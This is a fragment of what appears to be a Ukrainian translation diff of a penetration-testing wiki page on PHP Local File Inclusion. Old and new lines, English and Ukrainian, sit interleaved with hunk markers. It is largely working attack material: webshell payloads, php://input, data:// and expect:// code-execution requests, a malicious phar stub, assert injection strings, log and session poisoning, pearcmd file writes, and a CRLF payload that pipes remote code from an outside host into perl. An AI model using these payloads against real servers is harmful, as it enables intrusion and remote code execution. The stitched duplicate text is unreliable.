- Кодек **convert.iconv.UNICODE.CP930** перетворює кожну літеру на наступну (наприклад a -> b). Це дозволяє визначити, чи перша літера — `a`: якщо застосувати цей кодек 6 разів (a->b->c->d->e->f->g), літера перестане бути шістнадцятковим символом, тому dechunk її не видалить і помилка php буде викликана через множення з початковою «бомбою».
- Використовуючи інші перетворення, такі як **rot13**, на початку, можливо leak інших символів, наприклад n, o, p, q, r (інші кодеки можуть бути використані, щоб перемістити інші літери в hex-діапазон).
- Коли початковий символ — число, потрібно закодувати його в base64 і leak перші 2 літери, щоб leak число.
- Остаточна проблема — зрозуміти **як leak більше, ніж початкова літера**. Використовуючи фільтри, що змінюють порядок байтів, такі як **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, можна змінити порядок символів і отримати в першій позиції інші літери тексту.
- І щоб мати змогу отримувати **further data** ідея полягає в **generate 2 bytes of junk data at the beginning** за допомогою **convert.iconv.UTF16.UTF16**, застосувати **UCS-4LE**, щоб **pivot with the next 2 bytes**, і **видалити дані до junk data** (це видалить перші 2 байти початкового тексту). Продовжуйте робити це, поки не досягнете потрібного біта для leak.
- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially.
- Це буде використано для генерації **тексту, настільки великого при правильному вгадуванні початкової літери**, що php викличе **помилку**
- The **dechunk** filter will **remove everything if the first char is not an hexadecimal**, so we can know if the first char is hex.
- Це, у поєднанні з попереднім (та іншими фільтрами залежно від вгаданої літери), дозволить нам вгадати літеру на початку тексту, спостерігаючи, коли ми зробили достатньо перетворень, щоб вона перестала бути an hexadecimal character. Тому що якщо hex, dechunk не видалить її і початкова бомба спричинить php error.
- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
- Використовуючи інші перетворення, як-от **rot13** на початку, можна leak інші символи, такі як n, o, p, q, r (і інші codecs можна використовувати для переміщення інших літер у hex діапазон).
- When the initial char is a number its needed to base64 encode it and leak the 2 first letters to leak the number.
- Остаточна проблема — побачити **how to leak more than the initial letter**. Використовуючи order memory filters, як-от **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, можливо змінити порядок символів і помістити на першу позицію інші літери тексту.
- And in order to be able to obtain **further data** the idea if to **generate 2 bytes of junk data at the beginning** with **convert.iconv.UTF16.UTF16**, apply **UCS-4LE** to make it **pivot with the next 2 bytes**, and **видалити дані до сміттєвих даних** (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.
У дописі також було опубліковано інструмент для автоматизації: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
In the post a tool to perform this automatically was also leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
@ -298,12 +298,12 @@ This wrapper allows to access file descriptors that the process has open. Potent
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
Ви також можете використовувати **php://stdin, php://stdout and php://stderr** для доступу до **file descriptors 0, 1 and 2** відповідно (не впевнений, як це може бути корисним у атаці)
Ви також можете використовувати **php://stdin, php://stdout та php://stderr** для доступу до **файлових дескрипторів 0, 1 і 2** відповідно (не впевнений, як це може бути корисним в атаці)
### zip:// and rar://
### zip:// та rar://
Завантажте Zip або Rar файл з PHPShell всередині та отримайте до нього доступ.\
Щоб мати можливість зловживати протоколом rar, його **потрібно спеціально активувати**.
Завантажте файл Zip або Rar з PHPShell всередині та отримайте до нього доступ.\
Щоб мати змогу зловживати rar protocol, його **потрібно спеціально активувати**.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
@ -328,24 +328,24 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
Зауважте, що цей протокол обмежується конфігураціями php **`allow_url_open`** та **`allow_url_include`**
Зверніть увагу, що цей протокол обмежений конфігураціями php **`allow_url_open`** та **`allow_url_include`**
### expect://
Expect має бути активований. Ви можете виконати код за допомогою цього:
Expect має бути активовано. Ви можете виконати код за допомогою цього:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### input://
Вкажіть свій payload у POST-параметрах:
Вкажіть свій payload у параметрах POST:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```
### phar://
Файл `.phar` може використовуватися для виконання PHP-коду, коли веб-додаток застосовує функції, такі як `include`, для завантаження файлів. Наведений нижче фрагмент PHP-коду демонструє створення файлу `.phar`:
Файл `.phar` може бути використаний для виконання PHP-коду, коли веб-застосунок використовує функції на кшталт `include` для завантаження файлів. Наведений нижче фрагмент PHP-коду показує створення файлу `.phar`:
```php
<?php
$phar = new Phar('test.phar');
@ -354,13 +354,13 @@ $phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
```
Щоб скомпілювати файл `.phar`, слід виконати наступну команду:
Щоб скомпілювати файл `.phar`, слід виконати таку команду:
```bash
php --define phar.readonly=0 create_path.php
```
Upon execution, a file named `test.phar` will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
Після виконання буде створено файл з іменем `test.phar`, який потенційно може бути використаний для експлуатації вразливостей Local File Inclusion (LFI).
У випадку, якщо LFI лише читає файл без виконання PHP-коду всередині, через функції такі як `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, або `filesize()`, можна спробувати експлуатувати вразливість десеріалізації. Ця вразливість пов’язана з читанням файлів за допомогою протоколу `phar`.
Якщо LFI лише читає файл без виконання в ньому PHP-коду, через функції такі як `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` або `filesize()`, можна спробувати експлуатувати вразливість десереалізації. Ця вразливість пов'язана з читанням файлів через протокол `phar`.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
@ -373,51 +373,51 @@ phar-deserialization.md
### CVE-2024-2961
It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Дуже короткий підсумок: **3 byte overflow** в купі PHP було використано для **зміни ланцюжка вільних чанків** конкретного розміру, щоб мати змогу **записати будь-що в будь-яку адресу**, тому був доданий хук, який викликає **`system`**.\
Було можливо алокувати чанки конкретних розмірів, зловживаючи додатковими php filters.
Було можливо зловживати **any arbitrary file read from PHP that supports php filters** щоб отримати RCE. Детальний опис можна [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Дуже коротке резюме: **3 byte overflow** в PHP heap було використано, щоб **alter the chain of free chunks** певного розміру з метою мати можливість **write anything in any address**, тому додали хук для виклику **`system`**.\
Було можливо alloc чанки певних розмірів, зловживаючи додатковими php filters.
### More protocols
### Більше протоколів
Перевірте більше можливих [ **протоколів для включення тут**](https://www.php.net/manual/en/wrappers.php)**:**
Перевірте більше можливих[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Запис у пам’ять або у тимчасовий файл (не впевнений, як це може бути корисним у file inclusion attack)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Доступ до локальної файлової системи
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Доступ до HTTP(s) URL
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Доступ до FTP(s) URL
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Потоки стиснення
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Пошук імен шляхів, що відповідають шаблону (не повертає нічого придатного для виводу, тож не надто корисний тут)
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — запис у пам'ять або в тимчасовий файл (не впевнений, як це може бути корисним в атаці file inclusion)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — доступ до локальної файлової системи
- [http://](https://www.php.net/manual/en/wrappers.http.php) — доступ до HTTP(s) URL-ів
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — доступ до FTP(s) URL-ів
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — потоки стиснення
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — знаходить імена шляхів, що відповідають шаблону (не повертає нічого придатного для виводу, тому тут не дуже корисний)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Аудіопотоки (не корисний для читання довільних файлів)
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — аудіопотоки (не корисно для читання довільних файлів)
## LFI via PHP's 'assert'
Ризики LFI в PHP особливо високі при роботі з функцією 'assert', яка може виконувати код в межах рядків. Це особливо проблематично, якщо ввод, що містить символи для directory traversal, такі як "..", перевіряється, але не очищується належним чином.
Ризики Local File Inclusion (LFI) у PHP особливо високі при роботі з функцією 'assert', яка може виконувати код зі строк. Це особливо проблематично, якщо введення, що містить символи directory traversal, такі як "..", перевіряється, але не належним чином санітизоване.
For example, PHP code might be designed to prevent directory traversal like so:
Наприклад, PHP-код може бути спроєктований для запобігання directory traversal наступним чином:
```bash
assert("strpos('$file', '..') === false") or die("");
```
Хоча це спрямовано на зупинення traversal, воно ненавмисно створює вектор для code injection. Щоб експлуатувати це для читання вмісту файлу, нападник може використати:
Хоча це має на меті зупинити traversal, воно ненавмисно створює вектор для code injection. Щоб використати це для читання вмісту файлу, зловмисник може скористатися:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
Аналогічно, для виконання довільних системних команд можна використати:
Аналогічно, для виконання довільних системних команд можна використовувати:
```plaintext
' and die(system("id")) or '
```
It's important to **URL-encode these payloads**.
Важливо **URL-encode these payloads**.
## PHP Blind Path Traversal
> [!WARNING]
> Ця техніка актуальна в випадках, коли ви **контролюєте** **file path** для **PHP function**, яка **access a file**, але ви не бачитимете вміст файлу (наприклад простий виклик **`file()`**) і вміст не показується.
> Ця техніка релевантна у випадках, коли ви **контролюєте** **file path** **PHP function**, яка буде **access a file**, але ви не побачите вміст файлу (наприклад простий виклик **`file()`**), і вміст не показується.
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
У підсумку, техніка використовує кодування **"UCS-4LE"** щоб зробити вміст файлу таким **великим**, що **PHP function**, яка відкриває файл, викличе **error**.
У підсумку, техніка використовує **"UCS-4LE" encoding** щоб зробити вміст файлу настільки **big**, що **PHP function opening** файл спричинить **помилку**.
Далі, щоб leak перший символ, фільтр **`dechunk`** використовується разом з іншими (наприклад **base64** або **rot13**), а в кінці фільтри **convert.iconv.UCS-4.UCS-4LE** та **convert.iconv.UTF16.UTF-16BE** застосовуються, щоб **place other chars at the beggining and leak them**.
Потім, щоб leak the first char, використовується фільтр **`dechunk`** разом з іншими, такими як **base64** або **rot13**, і нарешті застосовуються фільтри **convert.iconv.UCS-4.UCS-4LE** та **convert.iconv.UTF16.UTF-16BE** щоб **place other chars at the beggining and leak them**.
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
@ -427,20 +427,20 @@ For the technical details check the mentioned post!
### Arbitrary File Write via Path Traversal (Webshell RCE)
Коли серверний код, який приймає/завантажує файли, будує destination path з використанням даних, контрольованих користувачем (наприклад filename або URL), без нормалізації та валідації, сегменти `..` та absolute paths можуть вийти за межі призначеної директорії й спричинити arbitrary file write. Якщо ви можете помістити payload у веб-доступну директорію, зазвичай ви отримуєте unauthenticated RCE, скинувши webshell.
When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
Типовий робочий процес експлуатації:
- Знайти write primitive в endpoint або background worker, який приймає path/filename і записує контент на диск (наприклад message-driven ingestion, XML/JSON command handlers, ZIP extractors тощо).
- Визначити веб-доступні директорії. Поширені приклади:
Typical exploitation workflow:
- Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Determine web-exposed directories. Common examples:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- Зконструювати traversal path, який виходить із призначеної директорії зберігання в webroot, і включити в нього ваш webshell content.
- Перейти до скинутого payload і виконати команди.
- Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content.
- Browse to the dropped payload and execute commands.
Notes:
- Уразливий сервіс, який виконує запис, може слухати на non-HTTP порту (наприклад JMF XML listener on TCP 4004). Головний веб-портал (інший порт) пізніше віддаватиме ваш payload.
- На Java-стеках ці записи файлів часто реалізовані простим конкатенуванням `File`/`Paths`. Відсутність нормалізації/allow-listing — основний недолік.
- The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload.
- On Java stacks, these file writes are often implemented with simple `File`/`Paths` concatenation. Lack of canonicalisation/allow-listing is the core flaw.
Generic XML/JMF-style example (product schemas vary the DOCTYPE/body wrapper is irrelevant for the traversal):
```xml
@ -466,25 +466,25 @@ in.transferTo(out);
</Command>
</JMF>
```
Заходи жорсткого захисту, що усувають цей клас вразливостей:
- Нормалізуйте шлях до канонічної форми і переконайтеся, що він є нащадком дозволеної базової директорії.
- Відкидайте будь-який шлях, що містить `..`, абсолютні корені або літери дисків; віддавайте перевагу згенерованим іменам файлів.
- Запускайте процес запису від імені облікового запису з низькими правами та розділяйте директорії для запису від коренів, які обслуговуються.
Методи захисту, що нейтралізують цей клас вразливостей:
- Розв'язувати у канонічний шлях і забезпечувати, що він є нащадком дозволеного базового каталогу.
- Відхиляти будь-який шлях, що містить `..`, абсолютні корені або літери дисків; віддавати перевагу згенерованим іменам файлів.
- Запускати writer під обліковим записом з мінімальними привілеями та розділяти директорії для запису від коренів, що обслуговуються.
## Remote File Inclusion
Explained previously, [**follow this link**](#remote-file-inclusion).
### Via Apache/Nginx log file
### Через лог-файл Apache/Nginx
Якщо сервер Apache або Nginx є **вразливим до LFI** у функції include, можна спробувати отримати доступ до **`/var/log/apache2/access.log` або `/var/log/nginx/access.log`**, помістити у **user agent** або в **GET параметр** php-shell на кшталт **`<?php system($_GET['c']); ?>`** і підключити цей файл
Якщо сервер Apache або Nginx є **vulnerable to LFI** всередині функції include, ви можете спробувати отримати доступ до **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, записати в **user agent** або в **GET parameter** php shell типу **`<?php system($_GET['c']); ?>`** і include-нути цей файл
> [!WARNING]
> Зауважте, що **якщо ви використовуєте подвійні лапки** для шеллу замість **одинарних лапок**, подвійні лапки будуть змінені для рядка "_**quote;**_", **PHP кине помилку** і **нічого іншого не буде виконано**.
> Зверніть увагу, що **якщо ви використовуєте подвійні лапки** для shell замість **простих лапок**, подвійні лапки будуть змінені на рядок "_**quote;**_", **PHP згенерує помилку** і **нічого іншого не буде виконано**.
>
> Також переконайтеся, що ви **правильно записали payload**, інакше PHP буде видавати помилку щоразу при спробі завантажити лог-файл і у вас не буде другої можливості.
> Також переконайтеся, що ви **правильно записали payload**, інакше PHP буде давати помилку щоразу при спробі завантажити файл журналу і у вас не буде другої можливості.
Це також можна зробити в інших логах, але **обережно,** код у логах може бути URL-кодований і це може зруйнувати Shell. Заголовок **authorisation "basic"** містить "user:password" у Base64 і декодується у логах. PHPShell можна вставити всередину цього заголовку.\
Це також можна зробити в інших логах, але **будьте обережні,** код всередині логів може бути URL encoded і це може зруйнувати Shell. Заголовок **authorisation "basic"** містить "user:password" в Base64 і він декодується всередині логів. PHPShell можна вставити всередину цього заголовка.\
Інші можливі шляхи логів:
```python
/var/log/apache2/access.log
@ -499,29 +499,29 @@ Explained previously, [**follow this link**](#remote-file-inclusion).
```
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### Через електронну пошту
### Via Email
**Відправте лист** на внутрішній акаунт (user@localhost), що містить ваш PHP payload, наприклад `<?php echo system($_REQUEST["cmd"]); ?>`, і спробуйте зробити include пошти користувача за шляхом, наприклад **`/var/mail/<USERNAME>`** або **`/var/spool/mail/<USERNAME>`**
**Send a mail** to a internal account (user@localhost) containing your PHP payload like `<?php echo system($_REQUEST["cmd"]); ?>` and try to include to the mail of the user with a path like **`/var/mail/<USERNAME>`** or **`/var/spool/mail/<USERNAME>`**
### Через /proc/\*/fd/\*
### Via /proc/\*/fd/\*
1. Завантажте велику кількість shells (наприклад: 100)
2. Зробіть include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), де $PID = PID процесу (можна brute force), а $FD — file descriptor (також можна brute force)
1. Завантажте багато shells (наприклад: 100)
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), де $PID — PID процесу (можна brute force), а $FD — дескриптор файлу (також можна brute force)
### Через /proc/self/environ
### Via /proc/self/environ
Як із лог-файлом, відправте payload у User-Agent — він відобразиться в файлі /proc/self/environ
Як і з лог-файлом, відправте payload у User-Agent — він відобразиться всередині файлу /proc/self/environ
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Via upload
### Через upload
Якщо ви можете upload файл, просто inject shell payload у нього (наприклад: `<?php system($_GET['c']); ?>`).
Якщо ви можете upload файл, просто inject shell payload в нього (e.g : `<?php system($_GET['c']); ?>` ).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
Щоб файл залишався читабельним, найкраще інжектувати у метадані pictures/doc/pdf
Щоб файл залишався читабельним, найкраще вбудувати його в метадані зображень/документів/pdf
### Через завантаження ZIP файлу
@ -545,24 +545,24 @@ user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"adm
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
Використайте LFI, щоб включити файл сесії PHP
Використайте LFI, щоб включити файл сесії PHP.
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### Через ssh
Якщо ssh активний, перевірте, який користувач використовується (/proc/self/status & /etc/passwd) і спробуйте отримати доступ до **\<HOME>/.ssh/id_rsa**
Якщо ssh активний — перевірте, який user використовується (/proc/self/status & /etc/passwd) і спробуйте отримати доступ до **\<HOME>/.ssh/id_rsa**
### **Через** **vsftpd** _**логи**_
Логи FTP-сервера vsftpd знаходяться за адресою _**/var/log/vsftpd.log**_. У випадку, якщо існує Local File Inclusion (LFI) уразливість і є доступ до відкритого vsftpd сервера, можна розглянути такі кроки:
Логи FTP-сервера vsftpd знаходяться в _**/var/log/vsftpd.log**_. У випадку, якщо є Local File Inclusion (LFI) вразливість і доступ до відкритого vsftpd сервера можливий, можна розглянути такі кроки:
1. Інжектуйте PHP payload у поле username під час процесу входу.
2. Після інжекції скористайтеся LFI, щоб отримати логи сервера з _**/var/log/vsftpd.log**_.
1. Інжектуйте PHP payload в поле username під час процесу входу.
2. Після інжекції використайте LFI, щоб витягти логи сервера з _**/var/log/vsftpd.log**_.
### Через php base64 filter (using base64)
### Через php base64 filter (з використанням base64)
Як показано в [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) статті, PHP base64 filter ігнорує символи, що не є base64. Ви можете використати це, щоб обійти перевірку розширення файлу: якщо ви подасте base64, що закінчується на ".php", фільтр просто ігноруватиме "." і додасть "php" до base64. Ось приклад payload:
Як показано в [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter просто ігнорує Non-base64. Ви можете використати це, щоб обійти перевірку розширення файлу: якщо ви подасте base64, що закінчується на ".php", він просто ігноруватиме "." і додаватиме "php" до base64. Ось приклад payload:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
@ -570,7 +570,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Через php filters (файл не потрібен)
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) пояснює, що ви можете використовувати **php filters** для генерації довільного вмісту як вивід. Це, по суті, означає, що ви можете **згенерувати довільний PHP-код** для include **без необхідності записувати** його у файл.
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) пояснює, що ви можете використовувати **php filters to generate arbitrary content** як вивід. Це фактично означає, що ви можете **generate arbitrary php code** для include **without needing to write** його у файл.
{{#ref}}
@ -579,16 +579,16 @@ lfi2rce-via-php-filters.md
### Через segmentation fault
Завантажте файл, який буде збережено тимчасово в `/tmp`, потім у **тому ж запиті** викличте **segmentation fault**, після чого тимчасовий файл не буде видалено і ви зможете його знайти.
**Upload** файл, який буде збережений як **temporary** в `/tmp`, потім в **same request,** спричиніть **segmentation fault**, після чого **temporary file won't be deleted** і ви зможете його знайти.
{{#ref}}
lfi2rce-via-segmentation-fault.md
{{#endref}}
### Через тимчасове збереження файлів Nginx
### Через Nginx temp file storage
Якщо ви виявили **Local File Inclusion** і **Nginx** працює перед PHP, ви можете отримати RCE за допомогою наступної техніки:
Якщо ви знайшли **Local File Inclusion** і **Nginx** працює перед PHP, ви можете отримати RCE за допомогою наступної техніки:
{{#ref}}
@ -597,16 +597,16 @@ lfi2rce-via-nginx-temp-files.md
### Через PHP_SESSION_UPLOAD_PROGRESS
Якщо ви знайшли **Local File Inclusion**, навіть якщо у вас **немає сесії** і `session.auto_start` встановлено в `Off`. Якщо ви вкажете **`PHP_SESSION_UPLOAD_PROGRESS`** у даних **multipart POST**, PHP **увімкне сесію за вас**. Це можна використати для отримання RCE:
Якщо ви знайшли **Local File Inclusion**, навіть якщо у вас **don't have a session** і `session.auto_start` встановлено в `Off`. Якщо ви вкажете **`PHP_SESSION_UPLOAD_PROGRESS`** в **multipart POST** даних, PHP **enable the session for you**. Ви можете зловживати цим, щоб отримати RCE:
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
### Через тимчасові завантаження файлів у Windows
### Через temp file uploads in Windows
Якщо ви знайшли **Local File Inclusion** і сервер працює на **Windows**, можливо ви отримаєте RCE:
Якщо ви знайшли **Local File Inclusion** і сервер працює на **Windows**, ви можете отримати RCE:
{{#ref}}
@ -615,13 +615,13 @@ lfi2rce-via-temp-file-uploads.md
### Через `pearcmd.php` + URL args
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), скрипт `/usr/local/lib/phppearcmd.php` присутній за замовчуванням у php docker images. Більш того, аргументи можна передавати скрипту через URL, оскільки вказано, що якщо параметр URL не має `=`, він має використовуватися як аргумент. Див. також [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) та [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), скрипт `/usr/local/lib/phppearcmd.php` існує за замовчуванням в php docker images. Більше того, можливо передавати аргументи скрипту через URL, оскільки зазначено, що якщо URL параметр не має `=`, він має використовуватися як аргумент. Див. також [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) і [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
Наведене експлуатує CRLF vuln для отримання RCE (з [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
Наведено приклад зловживання CRLF vuln для отримання RCE (from [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
@ -630,7 +630,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
```
### Через phpinfo() (file_uploads = on)
Якщо ви знайшли **Local File Inclusion** і файл, що викликає **phpinfo()** з file_uploads = on, ви можете отримати RCE:
Якщо ви знайшли **Local File Inclusion** і файл, який показує **phpinfo()** з file_uploads = on, ви можете отримати RCE:
{{#ref}}
@ -639,7 +639,7 @@ lfi2rce-via-phpinfo.md
### Через compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
Якщо ви знайшли **Local File Inclusion** і ви **can exfiltrate the path** тимчасового файлу, АЛЕ **server** **checking**, чи **file to be included has PHP marks**, ви можете спробувати **bypass that check** за допомогою цієї **Race Condition**:
Якщо ви знайшли **Local File Inclusion** і ви **can exfiltrate the path** тимчасового файлу, АЛЕ **сервер** **перевіряє**, чи **файл для включення має PHP-маркування**, ви можете спробувати **bypass that check** за допомогою цієї **Race Condition**:
{{#ref}}
@ -648,7 +648,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
### Через eternal waiting + bruteforce
Якщо ви можете зловживати LFI, щоб **upload temporary files** і змусити **server** **hang** виконання PHP, ви тоді можете **brute force filenames during hours**, щоб знайти тимчасовий файл:
Якщо ви можете зловживати LFI, щоб **завантажувати тимчасові файли** і змусити сервер **повісити** виконання PHP, ви потім можете **brute force filenames during hours**, щоб знайти тимчасовий файл:
{{#ref}}
@ -657,13 +657,14 @@ lfi2rce-via-eternal-waiting.md
### До Fatal Error
Якщо ви включите будь-який з файлів `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Потрібно включити той самий файл 2 рази, щоб викликати цю помилку).
Якщо ви включите будь-який з файлів `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Потрібно включити той самий файл двічі, щоб викликати цю помилку).
**I don't know how is this useful but it might be.**\
_Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
**Я не знаю, наскільки це корисно, але можливо, що може бути.**\
_Навіть якщо ви спричините PHP Fatal Error, тимчасові PHP-файли, які були завантажені, видаляються._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
## Посилання
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)